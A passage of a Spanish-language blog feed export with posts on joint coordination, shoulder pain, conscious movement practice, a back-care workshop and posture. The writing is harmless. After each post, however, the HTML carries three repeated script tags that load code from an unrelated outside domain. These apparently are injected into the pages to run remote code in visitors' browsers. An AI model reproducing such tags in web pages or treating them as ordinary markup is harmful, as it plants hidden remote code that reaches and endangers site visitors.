desde la perspectiva de la unidad mente-cuerpo… pero eso es tema para otro
artículo).<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Por lo
tanto, en cualquier evaluación de las capacidades o incapacidades de movimiento
de una parte específica del cuerpo, se toma en consideración las capacidades e
incapacidades de movimiento de todas las otras partes, y cómo esto afecta a la
primera parte en cuestión. <o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">En otras
palabras, todas las articulaciones del cuerpo (articulación es dónde dos o más
huesos se encuentran y relacionan) están relacionadas de alguna manera, son
todas parientes cercanas o lejanas y forman una gran “familia de
articulaciones”. Por eso, si un integrante de esta gran familia tiene problemas
para cumplir sus funciones (por la razón que sea), todas las otras
articulaciones van a compensar de alguna manera el desequilibrio funcional con
tal de mantener a la familia unida y funcionando.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Tomemos a
la columna vertebral como ejemplo.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Tu columna
está formada por más de 24 vértebras (huesitos) apiladas una sobre la otra en
una unidad funcional flexible y ondulatoria. O sea, que tan sólo en la columna
hay por lo tanto más de 24 articulaciones. Una columna sana y coordinada puede
doblarse hacia adelante, atrás, derecha, izquierda y torsionarse sobre sí
misma. No todas las articulaciones de la columna pueden moverse la misma
cantidad en todas las direcciones, pero pueden moverse un poquito al menos en
cada dirección.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Cuando
todas las articulaciones inter-vertebrales colaboran con la cantidad justa de grados
de movilidad hacia la realización de cualquiera de las acciones de la columna,
el movimiento resultante es percibido como elegante y armonioso, tanto por
quien lo ejecuta como por quien lo observa.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Por otro
lado, cuando una o varias de las articulaciones inter-vertebrales, por la razón
que sea, pierde su capacidad de colaborar con sus grados de movilidad a las
acciones de la columna, esta falta de movimiento es compensada por las otras
articulaciones inter-vertebrales (y por todas las otras articulaciones del
cuerpo claro). Esto significa que algunas articulaciones se mueven menos de lo
necesario y otras pasan a moverse demasiado. El resultado es un movimiento que
se percibe rígido y descoordinado.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">El
problema no es estético, ya que nos podemos acostumbrar a y habituar los
movimientos más extraños, las coordinaciones más inverosímiles y las modas
posturales más incomprensibles, incluso si estas al principio van en contra de
nuestro sentido del ritmo, la armonía y el “flow”. <o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">El
problema es que cuanto más compensan con hiper-movilidad ciertas articulaciones
la falta de movilidad en otras articulaciones, eventualmente llegamos al punto
donde no hay más adaptación posible sin lastimarnos de alguna manera.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Quedamos
entonces ante un escenario poco alentador: por un lado se arrestó nuestra
capacidad de movernos en cierta dirección lo cual puede derribar nuestra fe en
nuestra capacidad de progresar; por otro lado, si insistimos en avanzar a como
sea e intentamos derribar el sano límite que nos está marcando el cuerpo,
podemos llegar a lesionarnos… y seguramente nos lesionemos aquellas
articulaciones que llegaron al límite de su capacidad de compensación.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Volviendo
entonces al ejemplo del hombro lesionado: ¿es el hombro el problema?<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Probablemente
no.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">¿Necesita
tratamiento el hombro?<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Sí, estoy
100% a favor de recurrir al fisioterapeuta para recibir tratamiento para los
tejidos dañados, de forma que estos tengan las mejores chances de
reconstituirse correcta y rápidamente.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Pero ¿se
curará definitivamente el problema original con el tratamiento localizado?<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Probablemente
no. Si hay un problema de coordinación en la familia articular, el problema del
hombro no es más que la punta del iceberg.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Sé que
esto suena terrible. ¿Cómo podemos coordinar todas las articulaciones
“correctamente”? y ¿quién tiene el tiempo para aprender a hacerlo?<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">No te
preocupes, por suerte la coordinación de nuestras articulaciones no es algo con
lo que tenemos que meternos directamente. <o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">La
coordinación es algo que nuestro sistema neuro-motor hace constantemente y por
cuenta propia con lo que tiene disponible en cuanto a información sensorial
(tanto externa como interna), información conceptual (nuestras ideas
subconscientes sobre nuestros cuerpos y sus posibilidades de movimiento) y las
capacidades reales de movimiento en todas nuestras articulaciones.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Lo que sí
podemos hacer es darle a nuestro sistema información sensorial y conceptual más
precisa y, dentro de lo posible, devolverle movimiento a las articulaciones que
la han perdido.<o:p></o:p></span></div>
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">En
este proceso puede que te encuentres, así como yo descubro cuando trabajo sobre
mi contexto y no sobre mi problema directamente, que al mejorar tu uso y el
funcionamiento de otras partes de tu cuerpo, el problema de tu hombro (o de
cualquier articulación que esté dando problemas) desaparece
“milagrosamente”… y con un poco de
suerte, no vuelve ya más.</span><br />
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-38963458937568330902017-05-22T10:21:00.000-03:002017-05-22T10:21:24.688-03:00Moverse para ser Feliz<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmfuiUWqPQdnbSafC1dzWtyp6Yfj8xA1SlLS08HzdvxrQ3rcGGYrYom8lemtFOlyotqnv3ookvywyIEfOgy9JxQH1CjnxqMLhxjM2QILDZ7cwkeNRYt9DPMn5vGzxjc1qxOMcW-V12gTOO/s1600/3+reasons+to+move.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmfuiUWqPQdnbSafC1dzWtyp6Yfj8xA1SlLS08HzdvxrQ3rcGGYrYom8lemtFOlyotqnv3ookvywyIEfOgy9JxQH1CjnxqMLhxjM2QILDZ7cwkeNRYt9DPMn5vGzxjc1qxOMcW-V12gTOO/s1600/3+reasons+to+move.jpg" /></a></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-align: center; text-autospace: none;">
<b><span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></b></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-align: center; text-autospace: none;">
<b><span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">El Camino del
Movimiento Consciente<o:p></o:p></span></b></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">
</span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Amo moverme; el movimiento
es para mí una de las principales fuentes de placer y autoconocimiento.
Practico varias formas de movimiento, coreografiado y libre, y estoy siempre
ávida de probar formas nuevas.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">No obstante, no siempre fue
así para mí, esto es algo relativamente nuevo.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Dadas mis tendencias
perfeccionistas, el movimiento no siempre fue una fuente de placer y asombro
antes mis aparentemente ilimitadas posibilidades de movimiento. En los hechos,
tendía (y si no me cuido siempre corro el riesgo de caer en esto) volver todas
mis actividades y desafíos en una competencia contra otros y contra mí misma,
donde el único gozo efímero venía de “ganar”, “llegar”, “lograrlo”… y hacerlo
mejor que ayer. Todo mi foco estaba en la meta, nada quedaba para el trayecto. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">El <b>premio</b> por
“llegar” (vaya uno a saber a dónde) era la supuesta (y siempre corta)
“admiración” de mis pares o superiores; el <b>precio</b>, por otro lado, era
alto y perdurable. Jamás sentí verdadera <i>felicidad</i>
después de conquistar uno de estos supuestos podios, ya que simplemente nunca
era lo “suficientemente” bueno y no duraba más que unos instantes. Una vez
pasado el primer entusiasmo de la conquista la victoria y sus efectos se
desvanecían y me quedaba con nada del logro más que el recuerdo; pero la
constante demanda por hacer más y mejor, ser más y mejor acabó corrompiendo mi
confianza en la veracidad de la admiración externa. Lo que no podía darme a mí
misma tampoco podía recibirlo de otros, sin importar cuán sinceros fueran en
sus felicitaciones.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Pero, un buen día, me
presentaron casi sin darme cuenta mi primera práctica de movimiento somático; y
poquito a poco me fui enganchando con una perspectiva totalmente diferente de
lo que significa <i>moverse y ser movido.</i><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Hoy en día, cuando practico
cualquier tipo de movimiento, estoy más interesada en ser consciente de <i>cómo</i> estoy eligiendo moverme que en
llegar a algún lugar en particular… y en los hechos eventualmente llego a
muchos más lugares que antes.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Volverme consciente de cómo me muevo arroja luz sobre
mis <i>hábitos</i> de movimiento: como
siempre tiendo a elegir por default las mismas opciones de organización,
incluso cuando no son las más adecuadas a la situación presente.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">A través de los procedimientos de la Técnica Alexander
y los procesos del programa de Movement Intelligence de Ruthy Alon aprendí a
desafiar mis hábitos para abrirme nuevos caminos. La consigna es presentarme
desafíos simples de movimiento en un ambiente seguro y controlado. Lo hago para
enseñarme a mí misma cómo entrar y salir de estos desafíos de distintas maneras
y no siempre con el mismo programa. Al descubrir nuevas posibilidades de
enfrentar un mismo desafío, muchas de las cuales son mucho más placenteras y
efectivas que mis hábitos, amplío el repertorio de opciones disponibles para mi
mente consciente.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">La consciencia aquí es clave, ya que es a medida que
me vuelvo consciente de mi creciente número de opciones de enfrentar una acción
que mis hábitos comienzan a perder su cualidad de ineludibles, pierden su lugar
en el trono y se vuelven simplemente una opción más entre muchas otras,
igualmente no importantes, entre las que puedo elegir conscientemente.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">El movimiento se ha vuelta entonces una camino de
auto-descubrimiento. Hoy en día, cuando hago prácticas de ejercicio físico
(correr, Pilates, u otros deportes), mi foco no está ya principalmente en
“ejercitar mis músculos” (ese es un beneficio que viene por añadidura) sino
antes que nada mi foco está en el proceso cíclico de poner consciencia en cómo
me estoy moviendo, evaluar si la elección actual es la mejor opción disponible,
realizar ajustes (basados en mis investigaciones personales) y nuevamente poner
consciencia para escuchar la calidad y cualidad del movimiento que brindó el
ajuste.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Este proceso de “escucha”, de entrar en un diálogo
nutritivo conmigo misma a través del movimiento, la sensación y la consciencia,
a través del pensamiento y la imagen, me
ha brindado el único premio que vale la pena ganar: el GOZO por moverme, la
ALEGRÍA de estar vivo y poder moverme.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Quizás te preguntes por qué pongo tanto énfasis en
este aspecto del GOZO.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Para explicarlo, necesito ponerme un poco filosófica.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Mi maestra en Técnica Alexander cierta vez me contó
que en la tradición Védica los tres atributos del SER supremo son “Sat, Chit y
Ananda”, que en lenguaje criollo sería (muy esquemáticamente) algo así como: Eternidad
(Conciencia), Omnisapiencia, y Gozo. También me dijo que para nosotros, meros
mortales pero asimismo manifestaciones de la esencia divina, es difícil darnos
cuenta y sentir que somos parte de la eternidad y la omnisapiencia, pero sí
tenemos la capacidad de saber cuándo estamos conectados al Gozo puro y eterno:
cada vez que sentimos ese gozo indescriptible que surge de las entrañas, nos
llena y nos desborda.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<br />
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 12.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Cuando el Gozo está presente, cuando experimentamos un
destello de Ananda, estamos simultáneamente experimentando, aunque no nos demos
cuenta, un destello de la Eternidad.<o:p></o:p></span></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-81120236322962409052017-05-16T16:47:00.000-03:002017-05-16T16:47:24.788-03:00Nueva oportunidad para participar del taller de espalda<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3ZPfIvv7tm1jQ60udon5g4lFUnYiXW6cx1Oox1DOslhez2AqBHLKYpS6SOhdkGVxpLk4MUpu9gnkSxSyT7M9ydF7XnMhyEas6GbMaYpyiaopnB1Qb7HvE4LxdWICuOIaIY1yZYwu60kGY/s1600/Taller+Casa+Verde+1B-01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3ZPfIvv7tm1jQ60udon5g4lFUnYiXW6cx1Oox1DOslhez2AqBHLKYpS6SOhdkGVxpLk4MUpu9gnkSxSyT7M9ydF7XnMhyEas6GbMaYpyiaopnB1Qb7HvE4LxdWICuOIaIY1yZYwu60kGY/s1600/Taller+Casa+Verde+1B-01.jpg" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio7g4NPa9bLPjUlheeDnWdcDlVJP9AFdkTBNpsG-lDckIJNqIXzm4BwjddWn512amegsN-6cmextWQuqRZKm4FOxIl6y3B428U5j7jG1KVAKJQvcUA8OriqfdZK1GbD_tq0HALd5AURCJt/s1600/Taller+Casa+Verde+1B-02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio7g4NPa9bLPjUlheeDnWdcDlVJP9AFdkTBNpsG-lDckIJNqIXzm4BwjddWn512amegsN-6cmextWQuqRZKm4FOxIl6y3B428U5j7jG1KVAKJQvcUA8OriqfdZK1GbD_tq0HALd5AURCJt/s1600/Taller+Casa+Verde+1B-02.jpg" /></a></div>
<br />
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-21108204765080309302017-05-08T16:14:00.000-03:002017-05-08T16:14:04.225-03:00El problema con la postura<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9SS45kqdTx0RrWytQTgahLHdCPonTEvSxz9if9NraMHZ-uqcT07FHj2D1p6DvyFsCdOGiIewdpHGz7zaCDNMHJamKCrU6vl8SGOrcObb3Yq2h9taW1oZ3UJBjWRx6oy2kSsoTh7UTFXM/s1600/posture.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9SS45kqdTx0RrWytQTgahLHdCPonTEvSxz9if9NraMHZ-uqcT07FHj2D1p6DvyFsCdOGiIewdpHGz7zaCDNMHJamKCrU6vl8SGOrcObb3Yq2h9taW1oZ3UJBjWRx6oy2kSsoTh7UTFXM/s1600/posture.jpg" /></a></div>
<div style="border-bottom: solid #4472C4 1.0pt; border-left: none; border-right: none; border-top: solid #4472C4 1.0pt; margin-left: .6in; margin-right: .6in; mso-border-bottom-alt: solid #4472C4 .5pt; mso-border-bottom-themecolor: accent1; mso-border-bottom-themecolor: accent1; mso-border-top-alt: solid #4472C4 .5pt; mso-border-top-themecolor: accent1; mso-border-top-themecolor: accent1; mso-element: para-border-div; padding: 10.0pt 0in 10.0pt 0in;">
<div class="MsoIntenseQuote" style="margin-bottom: .25in; margin-left: 0in; margin-right: 0in; margin-top: .25in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 107%; mso-ansi-language: ES-UY;">La buena postura tiene más que ver con cómo te
mueves que con cómo te quedas quieto. </span><span lang="ES-UY" style="font-size: 14.0pt; line-height: 107%; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p></o:p></span></div>
</div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Al salir
de la adolescencia y entrar en mis veinte mi postura pasó de ser un “no-tema” a
un tema recurrente. Una de mis abuelas tenía osteoporosis y una notoria joroba
y entre mi familia es bastante común la postura de hombros caídos hacia
adelante. Mi otra abuela, que goza de buena postura, huesos de acero y
envidiable salud (será el gen escocés… espero haberlo heredado) jura que su
secreto es que de chica caminaba media hora diaria con un palo de escoba
atravesado en la espalda. Cuando mi hermana en su adolescencia ya mostraba
indicios de seguir la línea familiar de hombros caídos, le recomendaron usar
uno de esos arneses elásticos que se supone ayudan a corregir la postura. <o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Dado este
panorama no sorprende que hasta no hace tanto creyese como muchos que la
postura es algo que se corrige desde afuera, o sea que hay una tal “buena
postura” que debe alcanzarse y luego mantenerse a base de entrenamiento
muscular. Cuando en mis veinte empecé a ver señales que mis hombros iban por el
descendiente camino familiar me compré uno de esos arneses fantásticos y lo
traté de usar diariamente, ajustado al máximo obvio. Era horriblemente incómodo
y doloroso; me dejaba los hombros y el cuello a la miseria. Lo más triste sin
embargo era ver como cuando me sacaba el elemento de tortura mis hombros
invariablemente rodaban para adelante, dolorosos pero agradecidos de volver a la
“mala” postura que obviamente les quedaba más cómoda. En resumen, mi postura se
